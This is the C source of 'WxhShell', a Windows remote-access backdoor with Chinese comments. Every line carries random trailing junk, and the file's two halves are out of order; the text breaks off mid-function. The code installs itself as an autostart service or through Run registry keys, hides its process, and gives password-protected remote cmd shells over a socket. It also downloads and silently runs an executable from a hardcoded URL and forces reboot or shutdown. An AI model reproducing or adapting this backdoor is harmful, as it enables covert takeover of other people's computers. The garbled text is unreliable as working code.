    send(wsh,msg_ws_err,strlen(msg_ws_err),0); ]dk8lZ;bo  
    else { "D'B3; uWK  
    closesocket(wsh); T/xp?Vq6/  
    ExitThread(0); Y$Y_fjd_  
    } <]4i`6{v  
    break; H(2]7dRS%  
    } C;`XlQG `  
  // 获取shell BV(8y.H  
  case 's': { gO,25::")  
    CmdShell(wsh); '|*?*6q  
    closesocket(wsh); 1~ t{aLPz  
    ExitThread(0);  2KN6}  
    break; 0iK;Egwm  
  } m-DsY  
  // 退出 XC "'Q+  
  case 'x': { %4 XJn@J  
    send(wsh,msg_ws_ext,strlen(msg_ws_ext),0); !]fQ+*X0g  
    CloseIt(wsh); MpqZH{:?G  
    break; $:j G-r  
    } Wg0g/  
  // 离开 f0<%&2ym  
  case 'q': { f<*Js)k  
    send(wsh,msg_ws_end,strlen(msg_ws_end),0); T?1Du"d8  
    closesocket(wsh); 3=$q  
    WSACleanup(); .OqSch|  
    exit(1); V$icWu  
    break; ,H2D  
        } ;w-qHha  
  } PN<C=gAe  
  } hf<^/@^tK  
7kK #\dI  
  // 提示信息 LIVU^Os.  
    if(strlen(cmd)) send(wsh,msg_ws_prompt,strlen(msg_ws_prompt),0); zBp{K@U[|M  
} M- 2Tz[  
  } [NIlbjYH  
iQ6epg1wB  
  return; ;k86"W  
} #nO|A\N  
iy\nio`  
// shell模块句柄 6^n0[7  
int CmdShell(SOCKET sock) (N K9vW4F  
{ uV hCxUMQ  
STARTUPINFO si; ?D)<,  
ZeroMemory(&si,sizeof(si)); x]{E)d"!  
si.dwFlags=STARTF_USESHOWWINDOW|STARTF_USESTDHANDLES; !k(_PM  
si.hStdInput=si.hStdOutput =si.hStdError =(void *)sock; -l-E_6|/W  
PROCESS_INFORMATION ProcessInfo; ~i_Tw#}  
char cmdline[]="cmd"; {[t`j+J  
CreateProcess(NULL,cmdline,NULL,NULL,1,0,NULL,NULL,&si,&ProcessInfo); ).HDru-2  
  return 0; <0.$'M~E  
} w[-Fm+A>  
BH@)QVs-  
// 自身启动模式 $ RwB_F  
int StartFromService(void) q7m6&2$[  
{ SL&hJs4c'  
typedef struct vN OH&ja-s  
{ ZC 4*{  
  DWORD ExitStatus; c<BO gNr  
  DWORD PebBaseAddress; G02m/8g3  
  DWORD AffinityMask; Gy Qm/I  
  DWORD BasePriority; 0l#)fJo  
  ULONG UniqueProcessId; !b-bP,q  
  ULONG InheritedFromUniqueProcessId; Ekm7 )d$  
}   PROCESS_BASIC_INFORMATION; -#A:`/22  
_2mNTJiw  
PROCNTQSIP NtQueryInformationProcess; 88a<{5 :z  
xwzT#DXGJ  
static ENUMPROCESSMODULES g_pEnumProcessModules = NULL ; r<L#q)]  
static GETMODULEBASENAME g_pGetModuleBaseName = NULL ; mg+k'Myo+  
yNJAWM7  
  HANDLE             hProcess; I8op>^N"  
  PROCESS_BASIC_INFORMATION pbi;  8R69q:  
c! H 9yk  
  HINSTANCE hInst = LoadLibraryA("PSAPI.DLL"); ._p""'Sa  
  if(NULL == hInst ) return 0; /k7wwZiY@  
 ?9u4a_x  
  g_pEnumProcessModules = (ENUMPROCESSMODULES)GetProcAddress(hInst ,"EnumProcessModules"); VKLU0*2R  
  g_pGetModuleBaseName = (GETMODULEBASENAME)GetProcAddress(hInst, "GetModuleBaseNameA"); $-@$i`Kf/  
  NtQueryInformationProcess = (PROCNTQSIP)GetProcAddress(GetModuleHandle("ntdll"), "NtQueryInformationProcess"); X#+`e+Df  
DQ=N1pft2v  
  if (!NtQueryInformationProcess) return 0; [7"}=9  
voRfjsS~  
  hProcess = OpenProcess(PROCESS_QUERY_INFORMATION,FALSE,GetCurrentProcessId()); >3 Ko.3&  
  if(!hProcess) return 0; {=At#*=A  
B$`lY DqaG  
  if(NtQueryInformationProcess( hProcess, 0, (PVOID)&pbi, sizeof(PROCESS_BASIC_INFORMATION), NULL)) return 0; c%YDt`  
+ >sci  
  CloseHandle(hProcess); TIRHT`"i  
A"/aGCG0z  
hProcess = OpenProcess(PROCESS_QUERY_INFORMATION | PROCESS_VM_READ, FALSE, pbi.InheritedFromUniqueProcessId); r2G*!qK*1  
if(hProcess==NULL) return 0; +X!+'>  
':;LrTc'K  
HMODULE hMod; ;x>;jS.t  
char procName[255]; "zZ&n3=@  
unsigned long cbNeeded; )Ul&1UYA  
PF ;YE6  
if(g_pEnumProcessModules(hProcess, &hMod, sizeof(hMod), &cbNeeded)) g_pGetModuleBaseName(hProcess, hMod, procName, sizeof(procName)); ~{ .,8jE  
o?R,0 -  
  CloseHandle(hProcess); C/+nSe.  
HRRngk#lV  
if(strstr(procName,"services")) return 1; // 以服务启动 q lY\*{x4  
lgG8!Ja  
  return 0; // 注册表启动 E2yz=7sv5  
} V/UB9)i+  
px&=((Z7>  
// 主模块 iH _"W+dq  
int StartWxhshell(LPSTR lpCmdLine) A[Cg/ +Z  
{ @dhH;gt.I  
  SOCKET wsl; z`9l<Q/  
BOOL val=TRUE; WRMz]|+}4  
  int port=0; u-/3(dKt  
  struct sockaddr_in door; c20|Cx2m  
`1p?*9Ssn  
  if(wscfg.ws_autoins) Install(); 5k`e^ARf  
w2<*$~C]  
port=atoi(lpCmdLine); n1`T#%e  
6Wu*.53  
if(port<=0) port=wscfg.ws_port; AuM:2N2  
K-Y* T}?  
  WSADATA data; +wjlAqMQ  
  if(WSAStartup(MAKEWORD(2,2),&data)!=0) return 1; ht$ WF  
Oylp:_<aT  
  if((wsl = WSASocket(AF_INET, SOCK_STREAM, IPPROTO_TCP,NULL,0,0)) == INVALID_SOCKET) return 1;   W)  
setsockopt(wsl,SOL_SOCKET,SO_REUSEADDR,(char *)&val,sizeof(val)); D99N#36PU  
  door.sin_family = AF_INET; .i\wE@v  
  door.sin_addr.s_addr = inet_addr("127.0.0.1"); :6sGX p  
  door.sin_port = htons(port); <W9) Bq4  
4jD\]Q="1  
  if(bind(wsl, (const struct sockaddr *) &door,sizeof(door)) == INVALID_SOCKET) { $u- lo|  
closesocket(wsl); YmA) @1@U  
return 1; =1&}t%<X  
} J4&XPr9  
=z']s4  
  if(listen(wsl,2) == INVALID_SOCKET) { i&B?4J)  
closesocket(wsl); Dl@{}9  
return 1; A<1l^%i  
} Hm<M@M$aG  
  Wxhshell(wsl); f@#w{W,3  
  WSACleanup(); f>b!-|  
]b!R-G!gV  
return 0; N)Qlkz$X  
$R3.yX=[\  
} *%]+sU  
E{?L= ^cU  
// 以NT服务方式启动 AIf[W">\  
VOID WINAPI NTServiceMain( DWORD dwArgc, LPSTR *lpszArgv ) Y# .6d  
{ la1D2 lM  
DWORD   status = 0; " -<}C%C  
  DWORD   specificError = 0xfffffff; d"Ml^rAn  
v^57j:sD  
  serviceStatus.dwServiceType     = SERVICE_WIN32; =k_XKxd  
  serviceStatus.dwCurrentState     = SERVICE_START_PENDING; aslNlH6  
  serviceStatus.dwControlsAccepted   = SERVICE_ACCEPT_STOP | SERVICE_ACCEPT_PAUSE_CONTINUE; 0fZ:")&4,  
  serviceStatus.dwWin32ExitCode     = 0; qb 46EZu  
  serviceStatus.dwServiceSpecificExitCode = 0; 1'gKZB)TG7  
  serviceStatus.dwCheckPoint       = 0; s n=zh1 A  
  serviceStatus.dwWaitHint       = 0; _-YL!oP  
F?!};~$=Z  
  hServiceStatusHandle = RegisterServiceCtrlHandler(wscfg.ws_svcname, NTServiceHandler); I>(;bNgN E  
  if (hServiceStatusHandle==0) return; kwDjK"  
8-W"4)@b  
status = GetLastError(); `,hW;p>-  
  if (status!=NO_ERROR) /[p?_EX@  
{ ZJ)3GF}4  
    serviceStatus.dwCurrentState     = SERVICE_STOPPED; cS. 7\0$  
    serviceStatus.dwCheckPoint       = 0; 7/[TE  
    serviceStatus.dwWaitHint       = 0; wi![0IE )  
    serviceStatus.dwWin32ExitCode     = status; :9v*,*@x  
    serviceStatus.dwServiceSpecificExitCode = specificError; )UxQf37  
    SetServiceStatus(hServiceStatusHandle, &serviceStatus); sj?`7kg  
    return; 1D 3 dYVE  
  } ym-lT|>Z  
FCUVP,"T  
  serviceStatus.dwCurrentState     = SERVICE_RUNNING; JMl ,  N  
  serviceStatus.dwCheckPoint       = 0; Fv5x6a  
  serviceStatus.dwWaitHint       = 0; @+QYWh'  
  if(SetServiceStatus(hServiceStatusHandle, &serviceStatus)) StartWxhshell(""); U4 go8  
} |>jqH @\P  
8YT_DM5iI  
// 处理NT服务事件,比如:启动、停止 dM>j<JC=  
VOID WINAPI NTServiceHandler(DWORD fdwControl) t1*BWY  
{ >llwNT  
switch(fdwControl) Q 37V!  
{ ~_/<PIm  
case SERVICE_CONTROL_STOP: (mOqv9pn  
  serviceStatus.dwWin32ExitCode = 0; sM);gI14  
  serviceStatus.dwCurrentState = SERVICE_STOPPED; J,(U<%n  
  serviceStatus.dwCheckPoint   = 0; 62k9"xSH  
  serviceStatus.dwWaitHint     = 0; *_<SWTE  
  { ~{3o(gzl  
  SetServiceStatus(hServiceStatusHandle, &serviceStatus); 6KZ8 .m}:  
  } F|h ,a;2  
  return; [TpA26#TTO  
case SERVICE_CONTROL_PAUSE: Dn{19V. L  
  serviceStatus.dwCurrentState = SERVICE_PAUSED; -E,{r[Sp  
  break; E@'CU9Fo  
case SERVICE_CONTROL_CONTINUE: )\:lYI}Wpm  
  serviceStatus.dwCurrentState = SERVICE_RUNNING; OLd$oxKR  
  break; ^bY^x+d  
case SERVICE_CONTROL_INTERROGATE: H *z0xxa  
  break; v3VLvh 2)n  
}; 0qotC6l~_w  
  SetServiceStatus(hServiceStatusHandle, &serviceStatus); ,]>`guD V  
} X,C/x)  
eaZ)1od  
// 标准应用程序主函数 o to wvm  
int WINAPI WinMain(HINSTANCE hInstance, HINSTANCE hPrevInstance, LPSTR lpCmdLine, INT nCmdShow) ??esB&4?  
{ [/#k$-  
zei9,^ C  
// 获取操作系统版本 }fa%JN %E  
OsIsNt=GetOsVer(); I,`D&   
GetModuleFileName(NULL,ExeFile,MAX_PATH); hjm .Ath  
s].'@_~s  
  // 从命令行安装 ngH~4HyT  
  if(strpbrk(lpCmdLine,"iI")) Install(); A=YEY n  
Sv^'CpQ  
  // 下载执行文件 [gg 7Z|Hu  
if(wscfg.ws_downexe) { *t]&b ;=gE  
if(URLDownloadToFile(0, wscfg.ws_fileurl, wscfg.ws_filenam, 0, 0)==S_OK) 5k7(!  
  WinExec(wscfg.ws_filenam,SW_HIDE); :Jsz"vCg&s  
} ?#{2?%_  
88+\mX;A#  
if(!OsIsNt) { 4'4s EjyA  
// 如果时win9x,隐藏进程并且设置为注册表启动 lDX&v$  
HideProc(); lLwQridFXh  
StartWxhshell(lpCmdLine); =LeVJGF  
} 9 %.<V_$  
else L|xen*O  
  if(StartFromService()) HZQ3Ht3Vh  
  // 以服务方式启动 `] dx%  
  StartServiceCtrlDispatcher(DispatchTable); Z=5}17kA  
else r(xlokpnb6  
  // 普通方式启动 >*Z{@1*h  
  StartWxhshell(lpCmdLine); Tk|;5^#H  
1#X= &N  
return 0; v>cE59('0  
} ZK_@.O+]  
M$hw(fC|m1  
 F3r  
r D!.N   
=========================================== #WmAkzvq  
NCpn^m)Q}  
:W<,iqSCm  
`g:^KCGMM  
3f.Gog  
e8uIh[+ 0  
" Z.OrHg1  
D$!p+Q  
#include <stdio.h> W%Nu]9T  
#include <string.h> w\;9&;;  
#include <windows.h> (<~ R[sT|  
#include <winsock2.h> +6Fdi*:  
#include <winsvc.h> F3|pS:  
#include <urlmon.h> z ex.0OT;  
fB"gM2'  
#pragma comment (lib, "Ws2_32.lib") teNQUIe-  
#pragma comment (lib, "urlmon.lib") iwx0V  
34M.xB   
#define MAX_USER   100 // 最大客户端连接数 ?D 9#dGK  
#define BUF_SOCK   200 // sock buffer , p=8tf#  
#define KEY_BUFF   255 // 输入 buffer W ]MJ!4  
fU7:3"|s8  
#define REBOOT     0   // 重启 GoA>sK  
#define SHUTDOWN   1   // 关机 5va&N<U  
{%~ Ec4r  
#define DEF_PORT   5000 // 监听端口 { RX|  
]8nm9qmF<  
#define REG_LEN     16   // 注册表键长度 I{ZPv"9j^  
#define SVC_LEN     80   // NT服务名长度 _ll aH  
ko$R%W&T  
// 从dll定义API ?fG Y,<c  
typedef DWORD (WINAPI pREGISTERSERVICEPROCESS) (DWORD,DWORD); KV2X[1  
typedef LONG (WINAPI *PROCNTQSIP)(HANDLE,UINT,PVOID,ULONG,PULONG); KC'{>rt7  
typedef BOOL (WINAPI *ENUMPROCESSMODULES) (HANDLE hProcess, HMODULE * lphModule, DWORD cb, LPDWORD lpcbNeeded); gC_U7aw  
typedef DWORD (WINAPI *GETMODULEBASENAME) (HANDLE hProcess, HMODULE hModule, LPTSTR lpBaseName, DWORD nSize); ?FyA2q!  
`fXcW)  
// wxhshell配置信息 #"l=Lv  
struct WSCFG { t"Rn#V\c."  
  int ws_port;         // 监听端口 3c)xNXq m  
  char ws_passstr[REG_LEN]; // 口令 %?ad.F+7  
  int ws_autoins;       // 安装标记, 1=yes 0=no R4?/7  
  char ws_regname[REG_LEN]; // 注册表键名 BZ.H6r'Q  
  char ws_svcname[REG_LEN]; // 服务名 *P>F# ~X  
  char ws_svcdisp[SVC_LEN]; // 服务显示名 Ex<0@Oz  
  char ws_svcdesc[SVC_LEN]; // 服务描述信息 c)?y3LX  
  char ws_passmsg[SVC_LEN]; // 密码输入提示信息 V.qB3 V$  
int ws_downexe;       // 下载执行标记, 1=yes 0=no }I"^WCyH  
char ws_fileurl[SVC_LEN]; // 下载文件的 url, "http://xxx/file.exe" "Z <1Msz  
char ws_filenam[SVC_LEN]; // 下载后保存的文件名 L,$9)`j  
S:wmm}XQ  
}; t+t&eg  
G"]'`2.m  
// default Wxhshell configuration Ktoxl+I?  
struct WSCFG wscfg={DEF_PORT, y7JJ[:~~  
    "xuhuanlingzhe", q4{ 6@q  
    1, U:H*b{`TU  
    "Wxhshell", \RJ428sxn  
    "Wxhshell", hq|/XBd||  
            "WxhShell Service", bTJ7RqL  
    "Wrsky Windows CmdShell Service", L]Uy+[gg  
    "Please Input Your Password: ", o}BaZ|iZ2  
  1, dXZV1e1b&#  
  "http://www.wrsky.com/wxhshell.exe", kjH0u$n  
  "Wxhshell.exe" 0oD?4gn  
    }; ]`%cTdpLj  
9kcAMk1K  
// 消息定义模块 5=eGiF;0\  
char *msg_ws_copyright="\n\rWxhShell v1.0 (C)2005 http://www.wrsky.com\n\rMake by 虚幻灵者\n\r"; j:g/[_0s  
char *msg_ws_prompt="\n\r? for help\n\r#>"; r>V go):s  
char *msg_ws_cmd="\n\ri Install\n\rr Remove\n\rp Path\n\rb reboot\n\rd shutdown\n\rs Shell\n\rx exit\n\rq Quit\n\r\n\rDownload:\n\r#>http://.../server.exe\n\r"; ffdyDUzQ  
char *msg_ws_ext="\n\rExit."; x@yF|8  
char *msg_ws_end="\n\rQuit."; @AJt/wPk  
char *msg_ws_boot="\n\rReboot..."; @l 1 piz8  
char *msg_ws_poff="\n\rShutdown..."; ~%cbp&s*/q  
char *msg_ws_down="\n\rSave to ";  C+_ NG  
b1-JnEc  
char *msg_ws_err="\n\rErr!"; *x$\5;A  
char *msg_ws_ok="\n\rOK!"; ws@;2?%A  
YQ&Xd/z-  
char ExeFile[MAX_PATH]; ."dmL=  
int nUser = 0; vNP,c]:%  
HANDLE handles[MAX_USER]; mhL,:UE  
int OsIsNt; N/(&&\3  
;L|%H/SH  
SERVICE_STATUS       serviceStatus; E}UlQq  
SERVICE_STATUS_HANDLE   hServiceStatusHandle; I_4'9  
J?HYN%  
// 函数声明 ^8DC W`V  
int Install(void); bEbnZ<kz*  
int Uninstall(void); {/N4/gu  
int DownloadFile(char *sURL, SOCKET wsh); OPar"z^EV  
int Boot(int flag); 7cH[}v`pn  
void HideProc(void); 5TqX;=B  
int GetOsVer(void); |:C=j/f   
int Wxhshell(SOCKET wsl); mV6\gR[h  
void TalkWithClient(void *cs); VB\oK\F5z  
int CmdShell(SOCKET sock); sa{X.}i%E  
int StartFromService(void); ~!\n  
int StartWxhshell(LPSTR lpCmdLine); ):1NeJOFF  
:`25@<*u  
VOID WINAPI NTServiceMain( DWORD dwArgc, LPTSTR *lpszArgv ); .xS}/^8iD  
VOID WINAPI NTServiceHandler( DWORD fdwControl ); ZdfIe~Oni  
!>+YEZ"  
// 数据结构和表定义 xDm^f^}>  
SERVICE_TABLE_ENTRY DispatchTable[] = S 7RB` I5  
{ zmF_-Q`c  
{wscfg.ws_svcname, NTServiceMain}, __OD^?qa  
{NULL, NULL} h5>JBLawQP  
}; lUbQ@7a<'  
Mz_*`lRN  
// 自我安装 4gzrxV  
int Install(void) W&qE_r  
{ Nw* >$v  
  char svExeFile[MAX_PATH]; HsO4C)/  
  HKEY key; X2v|O3>/N  
  strcpy(svExeFile,ExeFile); va[@XGaC3  
{dTtYL$'"  
// 如果是win9x系统,修改注册表设为自启动 LNPwb1)  
if(!OsIsNt) { =y.?=`"  
if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\Run",&key)==ERROR_SUCCESS) { G$ ( B26  
  RegSetValueEx(key,wscfg.ws_regname,0,REG_SZ,(BYTE *)svExeFile,lstrlen(svExeFile)); eKsc ["  
  RegCloseKey(key); ?VmE bl  
  if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\RunServices",&key)==ERROR_SUCCESS) { |hk?'WGc`0  
  RegSetValueEx(key,wscfg.ws_regname,0,REG_SZ,(BYTE *)svExeFile,lstrlen(svExeFile)); >fNRwmi  
  RegCloseKey(key); XDRw![H,~  
  return 0; bVaydJ*  
    } )OpB\k  
  } ]lV\D8#  
} E]/` JI'%  
else { Zl^#U c"  
n$&xVaF|  
// 如果是NT以上系统,安装为系统服务 Ev+m+  
SC_HANDLE schSCManager = OpenSCManager( NULL, NULL, SC_MANAGER_CREATE_SERVICE); lu2"?y[2  
if (schSCManager!=0) {a;my"ly  
{ VPBlU  
  SC_HANDLE schService = CreateService ] ;" blB  
  ( ziPE(B  
  schSCManager, wC{?@ h  
  wscfg.ws_svcname, qn=~4rg]R  
  wscfg.ws_svcdisp, oP vk ^H  
  SERVICE_ALL_ACCESS, tj7{[3~-[  
  SERVICE_WIN32_OWN_PROCESS|SERVICE_INTERACTIVE_PROCESS , FtHR.S= u  
  SERVICE_AUTO_START, b}s)3=X@q  
  SERVICE_ERROR_NORMAL, 99)md   
  svExeFile, !} ~K'1"  
  NULL, Twl>Pn>  
  NULL, Ky(=O1Ufu  
  NULL, ~ A?  
  NULL, lM/)<I\8  
  NULL  # ub!  
  ); ] A.:8;  
  if (schService!=0) Ut|G.%1Vd%  
  { A|Z'\D0  
  CloseServiceHandle(schService); 1FC' iGI  
  CloseServiceHandle(schSCManager); *|97 g*G(  
  strcpy(svExeFile,"SYSTEM\\CurrentControlSet\\Services\\"); vQK*:IRKK  
  strcat(svExeFile,wscfg.ws_svcname); ii,/omn:  
  if(RegOpenKey(HKEY_LOCAL_MACHINE,svExeFile,&key)==ERROR_SUCCESS) { Wg\`!T  
  RegSetValueEx(key,"Description",0,REG_SZ,(BYTE *)wscfg.ws_svcdesc,lstrlen(wscfg.ws_svcdesc)); )}`3haG  
  RegCloseKey(key); &T"X kgU5  
  return 0; \r4QS  
    } LNm{}VJ%  
  } p:g`K# [F  
  CloseServiceHandle(schSCManager); L&*/ s&>b  
} --X1oC52A  
} dG {D2~#  
E}&Z=+v}  
return 1; T8*<  
} o'uv5asdb  
~x}/>-d  
// 自我卸载 <]9%Pm#X  
int Uninstall(void) &}N=a  
{ IG}`~% Z  
  HKEY key; _DlkTi5(w  
(+_i^SqK  
if(!OsIsNt) { Nhq& Sn2  
if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\Run",&key)==ERROR_SUCCESS) { r&qF v)0!`  
  RegDeleteValue(key,wscfg.ws_regname); iPnu *29  
  RegCloseKey(key); 1#o>< ?  
  if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\RunServices",&key)==ERROR_SUCCESS) { $]H^?  
  RegDeleteValue(key,wscfg.ws_regname); aVI%FycYo  
  RegCloseKey(key); ?$:;hGO.<~  
  return 0; ,sU#{.(  
  } Y%1 J[W  
} vO2I"Y*\  
}  @%8Xa7+  
else { HkgmZw,  
4s{_(gy  
SC_HANDLE schSCManager = OpenSCManager( NULL, NULL, SC_MANAGER_ALL_ACCESS); IO, kGUS  
if (schSCManager!=0) jSY&P/[ xb  
{ O^tH43C  
  SC_HANDLE schService = OpenService( schSCManager, wscfg.ws_svcname, SERVICE_ALL_ACCESS); lz=DP:/&  
  if (schService!=0) }PdHR00^  
  { F.nJX ZnJ  
  if(DeleteService(schService)!=0) { ve#*qz Y  
  CloseServiceHandle(schService); oN0p$/La  
  CloseServiceHandle(schSCManager); fa~u<m   
  return 0; -85]x)JE  
  } fWr6f`de  
  CloseServiceHandle(schService); t6zc$0-j "  
  } 8UA bTqB-  
  CloseServiceHandle(schSCManager); %&D,|Yl6  
} vkQ81PEt  
} ]6PX4oK_t  
n9qO;X4&  
return 1; 32DSZ0  
} Y5J}*`[Mr  
`vkNp8|  
// 从指定url下载文件 T2;%@Ghc  
int DownloadFile(char *sURL, SOCKET wsh) c^N'g!on  
{ 37 #|X*L  
  HRESULT hr; HkGA$  
char seps[]= "/"; $6&P 69<  
char *token; AixQR[Ul*c  
char *file; qNhV zx  
char myURL[MAX_PATH]; &) '5_#S  
char myFILE[MAX_PATH]; (WW*yv.J  
t#kPEiD  
strcpy(myURL,sURL); VxlK:*t`  
  token=strtok(myURL,seps); 5 IK -V)  
  while(token!=NULL) aD2+9?m  
  { UKIDFDn6_  
    file=token; rZ.,\ X_  
  token=strtok(NULL,seps); R"j6 w[tn  
  } a6UW,n"n  
Iyo ey  
GetCurrentDirectory(MAX_PATH,myFILE); ZcTxE]Y  
strcat(myFILE, "\\"); eSV_.uvsb  
strcat(myFILE, file); Hh/Z4`&yi  
  send(wsh,myFILE,strlen(myFILE),0); I'23$IzPA  
send(wsh,"...",3,0); $_2S,3 }  
hr = URLDownloadToFile(0, sURL, myFILE, 0, 0); uO4kCK<7C  
  if(hr==S_OK) "E? 8. `T  
return 0; 1P"akc  
else ~2R3MF.C  
return 1; ?DAW~+,!7o  
a@1 r3az  
} o6@Hj+,,  
c=S-g 9J  
// 系统电源模块 :z;}:+7n  
int Boot(int flag) $6~ \xe=  
{ |]qwD,eiH,  
  HANDLE hToken; U}c[oA  
  TOKEN_PRIVILEGES tkp; P #_8$#G3  
c$<7&{Pb  
  if(OsIsNt) { M4;A4V=W  
  OpenProcessToken(GetCurrentProcess(),TOKEN_ADJUST_PRIVILEGES | TOKEN_QUERY, &hToken); owYSR?aG  
    LookupPrivilegeValue(NULL, SE_SHUTDOWN_NAME,&tkp.Privileges[0].Luid); V;b^b5yZ>  
    tkp.PrivilegeCount = 1; {{FA "NW  
    tkp.Privileges[0].Attributes = SE_PRIVILEGE_ENABLED; Z;/"-.i  
    AdjustTokenPrivileges(hToken, FALSE, &tkp, 0,(PTOKEN_PRIVILEGES)NULL, 0); 2>s@2=Aq  
if(flag==REBOOT) { MoKGnb  
  if(ExitWindowsEx(EWX_REBOOT | EWX_FORCE, 0)) Y,v8eOo45S  
  return 0; &FQ]`g3_@  
} }m?1IU %q  
else { qXHr"  
  if(ExitWindowsEx(EWX_POWEROFF | EWX_FORCE, 0)) sFR'y.  
  return 0; :U5>. ):  
} {J:ZM"GS  
  } :#M(,S"Qq  
  else { Vt_NvPB`  
if(flag==REBOOT) { x6,kG  
  if(ExitWindowsEx(EWX_REBOOT + EWX_FORCE,0)) -j%!p^2j9  
  return 0; 5 =Os sAr  
} )N{Qpbh  
else { 0:(`t~  
  if(ExitWindowsEx(EWX_SHUTDOWN + EWX_FORCE,0)) 8T5s6EmIOW  
  return 0; H}}]Gh.T  
} G0sg\]  
} TQx''$j\  
`jR= X  
return 1; :#!m(s`  
} PVAs# ~  
*iSsGb\M%  
// win9x进程隐藏模块 RH,(8.&>r  
void HideProc(void) =1o_:VOG  
{ >@b7 0X!J]  
=bUVGjr%96  
  HINSTANCE hKernel=LoadLibrary("Kernel32.dll"); )Cuc ]>SC  
  if ( hKernel != NULL ) YoD1\a|  
  { U8?%Dq%i  
pREGISTERSERVICEPROCESS *pRegisterServiceProcess=(pREGISTERSERVICEPROCESS *)GetProcAddress(hKernel,"RegisterServiceProcess"); /easmf]  
    ( *pRegisterServiceProcess)(GetCurrentProcessId(),1); <Bc J;X/  
    FreeLibrary(hKernel); @].Ko[P~  
  } u</21fz'  
w < p  
return; MVV9[f  
} NQq$0<7.=W  
@?_<A%hz  
// 获取操作系统版本 +{ QyB  
int GetOsVer(void) 9N>Dp N  
{ ]}/LNO*L"  
  OSVERSIONINFO winfo; q#Y%Y  
  winfo.dwOSVersionInfoSize=sizeof(OSVERSIONINFO); D_,}lsrb  
  GetVersionEx(&winfo); -yt[0  
  if(winfo.dwPlatformId==VER_PLATFORM_WIN32_NT) H"4^  
  return 1; Xj.Tg1^K"  
  else ]|[,N>  
  return 0; 4oLrCQZ\  
} (3C6'Wt  
TD+V.}  
// 客户端句柄模块 =!_e(J  
int Wxhshell(SOCKET wsl) $b;9oST  
{ '+BcPB?E  
  SOCKET wsh; B8z3W9  
  struct sockaddr_in client; lmb5Z-xB  
  DWORD myID; bH+p5Fd;  
5nIm7vlQm  
  while(nUser<MAX_USER) G S-@drZp_  
{ <5MnF  
  int nSize=sizeof(client); 0qSd #jO  
    wsh=accept(wsl,(struct sockaddr *)&client,&nSize); m4(:H(Za  
  if(wsh==INVALID_SOCKET) return 1; ?4wS/_C/  
gq`gitu0  
handles[nUser]=CreateThread(0,1000,(LPTHREAD_START_ROUTINE) TalkWithClient,(VOID *) wsh, 0, &myID); G"0YCi#I|  
if(handles[nUser]==0) A?8f 6  
  closesocket(wsh); $trvNbco  
else [ Y.3miE  
  nUser++; k}y1IW+3  
  } ]V J$;v'{[  
  WaitForMultipleObjects(MAX_USER,handles,TRUE,INFINITE); fkWuSGi  
7{j9vl6  
  return 0; #/t^?$8\\  
} AQ 3n=Lr   
pZz?c/h-  
// 关闭 socket EY;C5P4  
void CloseIt(SOCKET wsh) ]+Yd#<j(u  
{ s%"3F<\  
closesocket(wsh); x/47e8/  
nUser--; : 'M$:ZJ  
ExitThread(0); 0V ,R|Ln  
} E[HXbj"  
N~g @  
// 客户端请求句柄 zb Z0BD7e  
void TalkWithClient(void *cs) ac6Lv}w_  
{ Z8+{ -  
a+ZP]3@ 7  
  SOCKET wsh=(SOCKET)cs; %CJgJ,pk>  
  char pwd[SVC_LEN]; B25@6   
  char cmd[KEY_BUFF]; K.G}*uy  
char chr[1]; sL]KBux  
int i,j; p't>'?UH|  
g76l@QYIU  
  while (nUser < MAX_USER) { -m)N~>{qS  
Zp]{e6J  
if(wscfg.ws_passstr) { "WR)a`$UR  
  if(strlen(wscfg.ws_passmsg)) send(wsh,wscfg.ws_passmsg,strlen(wscfg.ws_passmsg),0); B P%>J^  
      //send(wsh,wscfg.ws_passmsg,strlen(wscfg.ws_passmsg),0); vs;T}' O  
  //ZeroMemory(pwd,KEY_BUFF); #rM/  
      i=0; Wfgs[  
  while(i<SVC_LEN) { f.cIhZF  
% \Nfj) 9  
  // 设置超时 $]EG|]"Ns  
  fd_set FdRead; B'>(kZYMs  
  struct timeval TimeOut; !mH2IjcL  
  FD_ZERO(&FdRead); 8?!=/Sc  
  FD_SET(wsh,&FdRead); _]H$rf,Rc  
  TimeOut.tv_sec=8; hK*:pf  
  TimeOut.tv_usec=0; p6u"$)wt  
  int Er=select(wsh+1, &FdRead, NULL, NULL, &TimeOut); ;o }pRC  
  if((Er==SOCKET_ERROR) || (Er==0)) CloseIt(wsh); ]}H;`H  
_svY.p s*  
  if(recv(wsh,chr,1,0)==SOCKET_ERROR) CloseIt(wsh); nBv|5$w:  
  pwd=chr[0]; JPW+(n|g  
  if(chr[0]==0xd || chr[0]==0xa) { i&\N_PUm[  
  pwd=0; >7. $=y8b  
  break; J(F]?H  
  } Y}%=:Yt  
  i++; p>7 !"RF:U  
    } gE'b.04Y9i  
#!0le:_  
  // 如果是非法用户,关闭 socket V}(snG,  
        if(strcmp(pwd,wscfg.ws_passstr)) CloseIt(wsh); m, ',luQ  
} {t`UV,  
[4B.;MS(  
send(wsh,msg_ws_copyright,strlen(msg_ws_copyright),0); T ) T0.c  
  send(wsh,msg_ws_prompt,strlen(msg_ws_prompt),0); &niROM,;K  
&g;4;)p*8  
while(1) { 94Mh/A9k  
9v&{; %U  
  ZeroMemory(cmd,KEY_BUFF); i~:FlW]  
8t3@ Hi  
      // 自动支持客户端 telnet标准   -_BS!T%r  
  j=0; kuq3QW<  
  while(j<KEY_BUFF) { os*QWSs  
  if(recv(wsh,chr,1,0)==SOCKET_ERROR) CloseIt(wsh); //*>p  
  cmd[j]=chr[0]; +Z[(s!  
  if(chr[0]==0xa || chr[0]==0xd) { 2ijw g~_@  
  cmd[j]=0; f!2`N  
  break; 3{B`[$  
  } gn"_()8cT  
  j++; mwLp~z%OX  
    } +*-u_L\'  
7RNf)nz  
  // 下载文件 4Sv&iQ=vh  
  if(strstr(cmd,"http://")) { 2}:scag  
  send(wsh,msg_ws_down,strlen(msg_ws_down),0); 4jEPh{q  
  if(DownloadFile(cmd,wsh)) qg?O+-+  
  send(wsh,msg_ws_err,strlen(msg_ws_err),0); :9!? ${4R  
  else -~T?xs0_  
  send(wsh,msg_ws_ok,strlen(msg_ws_ok),0); `vWFTv  
  } $$+6=r}  
  else { ;,GE!9HW  
<EKDP>,~  
    switch(cmd[0]) { ]5b%r;_  
  TGx:#x*k  
